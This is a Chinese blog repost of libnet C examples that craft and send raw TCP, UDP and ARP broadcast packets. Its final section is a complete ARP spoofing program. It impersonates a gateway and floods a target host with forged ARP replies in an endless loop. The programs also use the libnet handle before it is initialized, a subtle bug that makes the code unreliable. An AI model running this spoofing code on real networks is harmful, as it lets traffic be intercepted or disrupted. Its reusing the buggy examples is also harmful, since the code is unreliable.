码迷，mamicode.com
首页 > Web开发 > 详细

libnet发包例子(tcp udp arp广播)

时间：2016-07-04 17:14:00      阅读：364      评论：0      收藏：0      [点我收藏+]

标签：

  1. #include <libnet.h>
  3. int main() {
  4.     libnet_t *handle; /* Libnet句柄 */
  5.     int packet_size; /* 构造的数据包大小 */
  6.     char *device = "eth0"; /* 设备名字,也支持点十进制的IP地址,会自己找到匹配的设备 */
  7.     char *src_ip_str = "192.168.2.148"; /* 源IP地址字符串 */
  8.     char *dst_ip_str = "192.168.2.170"; /* 目的IP地址字符串 */
  9.     u_char src_mac[6] = {0x00, 0x0c, 0x29, 0xba, 0xee, 0xdd}; /* 源MAC */
  10.     u_char dst_mac[6] = {0x00, 0x0c, 0x29, 0x6d, 0x4d, 0x5c}; /* 目的MAC */
  11.     u_long dst_ip, src_ip; /* 网路序的目的IP和源IP */
  12.     char error[LIBNET_ERRBUF_SIZE]; /* 出错信息 */
  13.     libnet_ptag_t eth_tag, ip_tag, tcp_tag, tcp_op_tag; /* 各层build函数返回值 */
  14.     u_short proto = IPPROTO_TCP; /* 传输层协议 */
  15.     u_char payload[255] = {0}; /* 承载数据的数组，初值为空 */
  16.     u_long payload_s = 0; /* 承载数据的长度，初值为0 */
  18.     /* 把目的IP地址字符串转化成网络序 */
  19.     dst_ip = libnet_name2addr4(handle, dst_ip_str, LIBNET_RESOLVE);
  20.     /* 把源IP地址字符串转化成网络序 */
  21.     src_ip = libnet_name2addr4(handle, src_ip_str, LIBNET_RESOLVE);
  23.     /* 初始化Libnet */
  24.     if ( (handle = libnet_init(LIBNET_LINK, device, error)) == NULL ) {
  25.         printf("libnet_init failure\n");
  26.         return (-1);
  27.     };
  29.     strncpy(payload, "test", sizeof(payload)-1); /* 构造负载的内容 */
  30.     payload_s = strlen(payload); /* 计算负载内容的长度 */
  32. #if 0
  33.     /* 构建TCP的选项,通常在第一个TCP通信报文中设置MSS */
  34.     tcp_op_tag = libnet_build_tcp_options(
  35.                 payload,
  36.                 payload_s,
  37.                 handle,
  38.                 0
  39.     );
  40.     if (tcp_op_tag == -1) {
  41.         printf("build_tcp_options failure\n");
  42.         return (-2);
  43.     };
  44. #endif
  46.     tcp_tag = libnet_build_tcp(
  47.                 30330,                    /* 源端口 */
  48.                 30331,                    /* 目的端口 */
  49.                 8888,                    /* 序列号 */
  50.                 8889,                    /* 确认号 */
  51.                 TH_PUSH | TH_ACK,        /* Control flags */
  52.                 14600,                    /* 窗口尺寸 */
  53.                 0,                        /* 校验和,0为自动计算 */
  54.                 0,                        /* 紧急指针 */
  55.                 LIBNET_TCP_H + payload_s, /* 长度 */
  56.                 payload,                    /* 负载内容 */
  57.                 payload_s,                /* 负载内容长度 */
  58.                 handle,                    /* libnet句柄 */
  59.                 0                        /* 新建包 */
  60.     );
  61.     if (tcp_tag == -1) {
  62.         printf("libnet_build_tcp failure\n");
  63.         return (-3);
  64.     };
  66.     /* 构造IP协议块，返回值是新生成的IP协议快的一个标记 */
  67.     ip_tag = libnet_build_ipv4(
  68.         LIBNET_IPV4_H + LIBNET_TCP_H + payload_s, /* IP协议块的总长,*/
  69.         0, /* tos */
  70.         (u_short) libnet_get_prand(LIBNET_PRu16), /* id,随机产生0~65535 */
  71.         0, /* frag 片偏移 */
  72.         (u_int8_t)libnet_get_prand(LIBNET_PR8), /* ttl,随机产生0~255 */
  73.         proto, /* 上层协议 */
  74.         0, /* 校验和，此时为0，表示由Libnet自动计算 */
  75.         src_ip, /* 源IP地址,网络序 */
  76.         dst_ip, /* 目标IP地址,网络序 */
  77.         NULL, /* 负载内容或为NULL */
  78.         0, /* 负载内容的大小*/
  79.         handle, /* Libnet句柄 */
  80.         0 /* 协议块标记可修改或创建,0表示构造一个新的*/
  81.     );
  82.     if (ip_tag == -1) {
  83.         printf("libnet_build_ipv4 failure\n");
  84.         return (-4);
  85.     };
  87.     /* 构造一个以太网协议块,只能用于LIBNET_LINK */
  88.     eth_tag = libnet_build_ethernet(
  89.         dst_mac, /* 以太网目的地址 */
  90.         src_mac, /* 以太网源地址 */
  91.         ETHERTYPE_IP, /* 以太网上层协议类型，此时为IP类型 */
  92.         NULL, /* 负载，这里为空 */ 
  93.         0, /* 负载大小 */
  94.         handle, /* Libnet句柄 */
  95.         0 /* 协议块标记，0表示构造一个新的 */ 
  96.     );
  97.     if (eth_tag == -1) {
  98.         printf("libnet_build_ethernet failure\n");
  99.         return (-5);
  100.     };
  102.     packet_size = libnet_write(handle); /* 发送已经构造的数据包*/
  104.     libnet_destroy(handle); /* 释放句柄 */
  106.     return (0);
  107. }

UDP:

  1. #include <libnet.h>
  3. int main() {
  4.     libnet_t *handle; /* Libnet句柄 */
  5.     int packet_size; /* 构造的数据包大小 */
  6.     char *device = "eth0"; /* 设备名字,也支持点十进制的IP地址,会自己找到匹配的设备 */
  7.     char *src_ip_str = "192.168.2.148"; /* 源IP地址字符串 */
  8.     char *dst_ip_str = "192.168.2.170"; /* 目的IP地址字符串 */
  9.     u_char src_mac[6] = {0x00, 0x0c, 0x29, 0xba, 0xee, 0xdd}; /* 源MAC */
  10.     u_char dst_mac[6] = {0x00, 0x0c, 0x29, 0x6d, 0x4d, 0x5c}; /* 目的MAC */
  11.     u_long dst_ip, src_ip; /* 网路序的目的IP和源IP */
  12.     char error[LIBNET_ERRBUF_SIZE]; /* 出错信息 */
  13.     libnet_ptag_t eth_tag, ip_tag, udp_tag; /* 各层build函数返回值 */
  14.     u_short proto = IPPROTO_UDP; /* 传输层协议 */
  15.     u_char payload[255] = {0}; /* 承载数据的数组，初值为空 */
  16.     u_long payload_s = 0; /* 承载数据的长度，初值为0 */
  18.     /* 把目的IP地址字符串转化成网络序 */
  19.     dst_ip = libnet_name2addr4(handle, dst_ip_str, LIBNET_RESOLVE);
  20.     /* 把源IP地址字符串转化成网络序 */
  21.     src_ip = libnet_name2addr4(handle, src_ip_str, LIBNET_RESOLVE);
  23.     /* 初始化Libnet */
  24.     if ( (handle = libnet_init(LIBNET_LINK, device, error)) == NULL ) {
  25.         printf("libnet_init failure\n");
  26.         return (-1);
  27.     };
  29.     strncpy(payload, "test", sizeof(payload)-1); /* 构造负载的内容 */
  30.     payload_s = strlen(payload); /* 计算负载内容的长度 */
  32.     udp_tag = libnet_build_udp(
  33.                 30330, /* 源端口 */
  34.                 30331, /* 目的端口 */
  35.                 LIBNET_UDP_H + payload_s, /* 长度 */
  36.                 0, /* 校验和,0为libnet自动计算 */
  37.                 payload, /* 负载内容 */
  38.                 payload_s, /* 负载内容长度 */
  39.                 handle, /* libnet句柄 */
  40.                 0 /* 新建包 */
  41.     );
  42.     if (udp_tag == -1) {
  43.         printf("libnet_build_tcp failure\n");
  44.         return (-3);
  45.     };
  47.     /* 构造IP协议块，返回值是新生成的IP协议快的一个标记 */
  48.     ip_tag = libnet_build_ipv4(
  49.         LIBNET_IPV4_H + LIBNET_UDP_H + payload_s, /* IP协议块的总长,*/
  50.         0, /* tos */
  51.         (u_short) libnet_get_prand(LIBNET_PRu16), /* id,随机产生0~65535 */
  52.         0, /* frag 片偏移 */
  53.         (u_int8_t)libnet_get_prand(LIBNET_PR8), /* ttl,随机产生0~255 */
  54.         proto, /* 上层协议 */
  55.         0, /* 校验和，此时为0，表示由Libnet自动计算 */
  56.         src_ip, /* 源IP地址,网络序 */
  57.         dst_ip, /* 目标IP地址,网络序 */
  58.         NULL, /* 负载内容或为NULL */
  59.         0, /* 负载内容的大小*/
  60.         handle, /* Libnet句柄 */
  61.         0 /* 协议块标记可修改或创建,0表示构造一个新的*/
  62.     );
  63.     if (ip_tag == -1) {
  64.         printf("libnet_build_ipv4 failure\n");
  65.         return (-4);
  66.     };
  68.     /* 构造一个以太网协议块,只能用于LIBNET_LINK */
  69.     eth_tag = libnet_build_ethernet(
  70.         dst_mac, /* 以太网目的地址 */
  71.         src_mac, /* 以太网源地址 */
  72.         ETHERTYPE_IP, /* 以太网上层协议类型，此时为IP类型 */
  73.         NULL, /* 负载，这里为空 */ 
  74.         0, /* 负载大小 */
  75.         handle, /* Libnet句柄 */
  76.         0 /* 协议块标记，0表示构造一个新的 */ 
  77.     );
  78.     if (eth_tag == -1) {
  79.         printf("libnet_build_ethernet failure\n");
  80.         return (-5);
  81.     };
  83.     packet_size = libnet_write(handle); /* 发送已经构造的数据包*/
  85.     libnet_destroy(handle); /* 释放句柄 */
  87.     return (0);
  88. }

 

 
ARP广播包:
  1. #include <libnet.h>
  3. int main() {
  4.     libnet_t *handle;        /* Libnet句柄 */
  5.     int packet_size;
  6.     char *device = "eth0";   /* 设备名字,也支持点十进制的IP地址,会自己找到匹配的设备 */
  7.     u_int8_t *src_ip_str = "192.168.128.200";       /* 源IP地址字符串 */
  8.     u_int8_t *dst_ip_str = "192.168.128.88";        /* 目的IP地址字符串 */
  9.     u_int8_t src_mac[6] = {0x00, 0x0c, 0x29, 0x73, 0xfa, 0x86};/* 源MAC */
  10.     u_int8_t dst_mac[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};/* 目的MAC,广播地址 */
  11.     /* 接收方MAC,ARP请求目的就是要询问对方MAC,所以这里填写0 */
  12.     u_int8_t rev_mac[6] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
  13.     u_int32_t dst_ip, src_ip;              /* 网路序的目的IP和源IP */
  14.     char error[LIBNET_ERRBUF_SIZE];        /* 出错信息 */
  15.     libnet_ptag_t arp_proto_tag, eth_proto_tag;
  17.     /* 把目的IP地址字符串转化成网络序 */
  18.     dst_ip = libnet_name2addr4(handle, dst_ip_str, LIBNET_RESOLVE);
  19.     /* 把源IP地址字符串转化成网络序 */
  20.     src_ip = libnet_name2addr4(handle, src_ip_str, LIBNET_RESOLVE);
  22.     if ( dst_ip == -1 || src_ip == -1 ) {
  23.         printf("ip address convert error\n");
  24.         exit(-1);
  25.     };
  26.     /* 初始化Libnet,注意第一个参数和TCP初始化不同 */
  27.     if ( (handle = libnet_init(LIBNET_LINK_ADV, device, error)) == NULL ) {
  28.         printf("libnet_init: error [%s]\n", error);
  29.         exit(-2);
  30.     };
  32.     /* 构造arp协议块 */
  33.     arp_proto_tag = libnet_build_arp(
  34.                 ARPHRD_ETHER,        /* 硬件类型,1表示以太网硬件地址 */ 
  35.                 ETHERTYPE_IP,        /* 0x0800表示询问IP地址 */ 
  36.                 6,                   /* 硬件地址长度 */ 
  37.                 4,                   /* IP地址长度 */ 
  38.                 ARPOP_REQUEST,       /* 操作方式:ARP请求 */ 
  39.                 src_mac,             /* source MAC addr */ 
  40.                 (u_int8_t *)&src_ip, /* src proto addr */ 
  41.                 rev_mac,             /* dst MAC addr */ 
  42.                 (u_int8_t *)&dst_ip, /* dst IP addr */ 
  43.                 NULL,                /* no payload */ 
  44.                 0,                   /* payload length */ 
  45.                 handle,              /* libnet tag */ 
  46.                 0                    /* Create new one */
  47.     );
  48.     if (arp_proto_tag == -1)    {
  49.         printf("build IP failure\n");
  50.         exit(-3);
  51.     };
  53.     /* 构造一个以太网协议块
  54.     You should only use this function when 
  55.     libnet is initialized with the LIBNET_LINK interface.*/
  56.     eth_proto_tag = libnet_build_ethernet(
  57.         dst_mac,         /* 以太网目的地址 */
  58.         src_mac,         /* 以太网源地址 */
  59.         ETHERTYPE_ARP,   /* 以太网上层协议类型，此时为ARP请求 */
  60.         NULL,            /* 负载，这里为空 */ 
  61.         0,               /* 负载大小 */
  62.         handle,          /* Libnet句柄 */
  63.         0                /* 协议块标记，0表示构造一个新的 */ 
  64.     );
  65.     if (eth_proto_tag == -1) {
  66.         printf("build eth_header failure\n");
  67.         return (-4);
  68.     };
  70.     packet_size = libnet_write(handle);    /* 发送已经构造的数据包*/
  72.     libnet_destroy(handle);                /* 释放句柄 */
  74.     return (0);
  75. }

 

arp应答包(arp欺骗)
  1. #include <libnet.h>
  3. int main() {
  4.     libnet_t *handle;        /* Libnet句柄 */
  5.     int packet_size;
  6.     char *device = "eth0";    /* 设备名字,也支持点十进制的IP地址,会自己找到匹配的设备 */
  7.     u_int8_t *src_ip_str = "192.168.2.30";        /* 冒充的网关IP */
  8.     u_int8_t *dst_ip_str = "192.168.2.170";        /* 干扰的目标IP */
  9.     u_int8_t src_mac[6] = {0x00, 0x0c, 0x29, 0x73, 0xfa, 0x11};/* 虚假的源MAC */
  10.     u_int8_t dst_mac[6] = {0x00, 0x0c, 0x29, 0x6d, 0x4d, 0x5c};/* 干扰的目标MAC */
  11.     u_int32_t dst_ip, src_ip;                /* 网路序的目的IP和源IP */
  12.     char error[LIBNET_ERRBUF_SIZE];        /* 出错信息 */
  13.     libnet_ptag_t arp_proto_tag, eth_proto_tag;
  15.     /* 把目的IP地址字符串转化成网络序 */
  16.     dst_ip = libnet_name2addr4(handle, dst_ip_str, LIBNET_RESOLVE);
  17.     /* 把源IP地址字符串转化成网络序 */
  18.     src_ip = libnet_name2addr4(handle, src_ip_str, LIBNET_RESOLVE);
  20.     if ( dst_ip == -1 || src_ip == -1 ) {
  21.         printf("ip address convert error\n");
  22.         exit(-1);
  23.     };
  24.     /* 初始化Libnet,注意第一个参数和TCP初始化不同 */
  25.     if ( (handle = libnet_init(LIBNET_LINK_ADV, device, error)) == NULL ) {
  26.         printf("libnet_init: error [%s]\n", error);
  27.         exit(-2);
  28.     };
  30.     /* 构造arp协议块 */
  31.     arp_proto_tag = libnet_build_arp(
  32.                 ARPHRD_ETHER,        /* 硬件类型,1表示以太网硬件地址 */ 
  33.                 ETHERTYPE_IP,        /* 0x0800表示询问IP地址 */ 
  34.                 6,                    /* 硬件地址长度 */ 
  35.                 4,                    /* IP地址长度 */ 
  36.                 ARPOP_REPLY,        /* 操作方式:ARP请求 */ 
  37.                 src_mac,                /* source MAC addr */ 
  38.                 (u_int8_t *)&src_ip,    /* src proto addr */ 
  39.                 dst_mac,                /* dst MAC addr */ 
  40.                 (u_int8_t *)&dst_ip,    /* dst IP addr */ 
  41.                 NULL,                /* no payload */ 
  42.                 0,                    /* payload length */ 
  43.                 handle,                /* libnet tag */ 
  44.                 0                    /* Create new one */
  45.     );
  46.     if (arp_proto_tag == -1)    {
  47.         printf("build IP failure\n");
  48.         exit(-3);
  49.     };
  51.     /* 构造一个以太网协议块
  52.     You should only use this function when 
  53.     libnet is initialized with the LIBNET_LINK interface.*/
  54.     eth_proto_tag = libnet_build_ethernet(
  55.         dst_mac,            /* 以太网目的地址 */
  56.         src_mac,            /* 以太网源地址 */
  57.         ETHERTYPE_ARP,    /* 以太网上层协议类型，此时为ARP请求 */
  58.         NULL,            /* 负载，这里为空 */ 
  59.         0,                /* 负载大小 */
  60.         handle,            /* Libnet句柄 */
  61.         0                /* 协议块标记，0表示构造一个新的 */ 
  62.     );
  63.     if (eth_proto_tag == -1)    {
  64.         printf("build eth_header failure\n");
  65.         return (-4);
  66.     };
  68.     while(1) {
  69.         packet_size = libnet_write(handle);        /* 死循环发送arp欺骗广播 */
  70.         usleep(1000);
  71.     };
  73.     libnet_destroy(handle);                /* 释放句柄 */
  75.     return (0);
  76. }
  77.   from：http://blog.chinaunix.net/uid-10540984-id-3245098.html

libnet发包例子(tcp udp arp广播)

标签：

原文地址：http://www.cnblogs.com/zhangzl/p/5640935.html
踩
(0)
赞
(0)
   
举报
评论 一句话评论（0）
登录后才能评论！
分享档案
更多>
2021年07月29日 (22)
2021年07月28日 (40)
2021年07月27日 (32)
2021年07月26日 (79)
2021年07月23日 (29)
2021年07月22日 (30)
2021年07月21日 (42)
2021年07月20日 (16)
2021年07月19日 (90)
2021年07月16日 (35)
周排行
mamicode.com排行更多图片
更多
友情链接
兰亭集智   国之画   百度统计   站长统计   阿里云   chrome插件   新版天听网
关于我们 - 联系我们 - 留言反馈
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码！